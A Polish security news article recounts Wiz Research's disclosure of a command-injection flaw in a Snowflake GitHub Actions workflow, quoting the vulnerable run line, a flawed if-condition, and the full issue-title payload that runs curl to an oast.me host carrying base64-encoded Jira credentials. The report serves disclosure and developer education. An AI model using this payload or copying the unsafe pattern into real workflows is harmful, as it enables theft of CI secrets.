Jak można było wykraść token Jira w Snowflake – podatny workflow GitHub Actions

Badacze bezpieczeństwa z Wiz Research przy pomocy wewnętrznego narzędzia AI – Red Agent – zidentyfikowali krytyczną podatność w workflow GitHub Actions w jednym z publicznych repozytoriów Snowflake – firmy zajmującej się przetwarzaniem i analizą danych w chmurze.

TLDR:

• Badacze z Wiz Research przy użyciu narzędzia AI Red Agent odkryli podatność w publicznym repozytorium Snowflake – problematyczny był workflow GitHub Actions.
• Podatność pozwalała nieuwierzytelnionemu użytkownikowi wykonać dowolne polecenia na GitHub Actions runnerze poprzez odpowiednio spreparowany tytuł issue.
• Badacze wykorzystali podatność do wykradnięcia tokenu Jira, który zapewniał dostęp do odczytu do wybranych projektów Snowflake.
• Firma załatała podatność tego samego dnia, zrotował token i przeanalizował logi pod kątem nieautoryzowanego wykorzystania.

Firma załatała podatność jeszcze tego samego dnia po otrzymaniu zgłoszenia – zrotowano możliwy do wykradnięcia token Jira i zweryfikowano logi pod kątem prób jego wykorzystania.

Podatność dotyczyła repozytorium snowflakedb/snowflake-connector-net. Umożliwiała nieuwierzytelnionemu użytkownikowi wykonywanie dowolnych poleceń w ramach GitHub Actions runnera poprzez otwarcie issue z odpowiednio spreparowanym tytułem. Problematyczny był workflow jira_issue.yml, a dokładniej ten fragment:

run: | TITLE=$(echo ‘${{ github.event.issue.title }}’ | sed ‘s/”/\\”/g’ | sed “s/’/\\\’/g”)

Listing 1 – podatny fragment kodu, źródło: wiz.io

Workflow uruchamiał się przy otwarciu issue. Oznacza to, że każdy użytkownik GitHub mógł po prostu stworzyć issue, której tytuł trafiał bezpośrednio do skryptu powłoki. Co ciekawe, całość nie działała w taki sposób od początku. Była to zmiana dodana na kilka dni przed odkryciem podatności.

Workflow zawierał warunek if, który na pierwszy rzut oka zapewniał ochronę:

if: (github.event_name == ‘issues’ && github.event.pull_request.user.login != ‘whitesource-for-github-com[bot]’)

Listing 2 – warunek w workflow, źródło: wiz.io

Jednak dla issue wartość github.event.pull_request zawsze będzie równa null (w końcu issue to nie pull request). Tak skonstruowany warunek w tym przypadku jest zawsze prawdziwy.

Badacze przygotowali złośliwy payload – tytuł issue, który wstrzyknięty do polecenia echo umożliwiał wykradnięcie danych uwierzytelniających instancji Jira:

‘ ; curl -s “https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`” ; echo ‘

Listing 3 – złośliwy payload, źródło: wiz.io

W ciągu kilku sekund runner GitHub Actions wykonał żądanie do serwera badaczy – a w nim zawarte były poświadczenia Jira zakodowane w base64.

Pozyskany w ten sposób token pozwolił badaczom na uzyskanie dostępu do instancji Jira wykorzystywanej przez Snowflake – ale jedynie w zakresie podglądu niektórych projektów:

Programistom przypominamy, że każde miejsce, w którym kod przyjmuje wartość pochodzącą od użytkownika, jest potencjalnym wektorem ataku. Należy założyć, że każdą funkcję czy automatyzację atakujący wykorzysta w sposób złośliwy i często niezgodny z przewidywaniami wobec niej (zwykły użytkownik nie wpisuje kodu powłoki w tytule issue).

Opisywany przypadek to dobry przykład na to, że podatności mogą znajdować się nie tylko w kodzie tworzonej aplikacji, ale też w pomocniczych workflow i innych plikach, na które niekoniecznie zwracamy odpowiednio dużo uwagi.

Źródło: wiz.io

~Tymoteusz Jóźwiak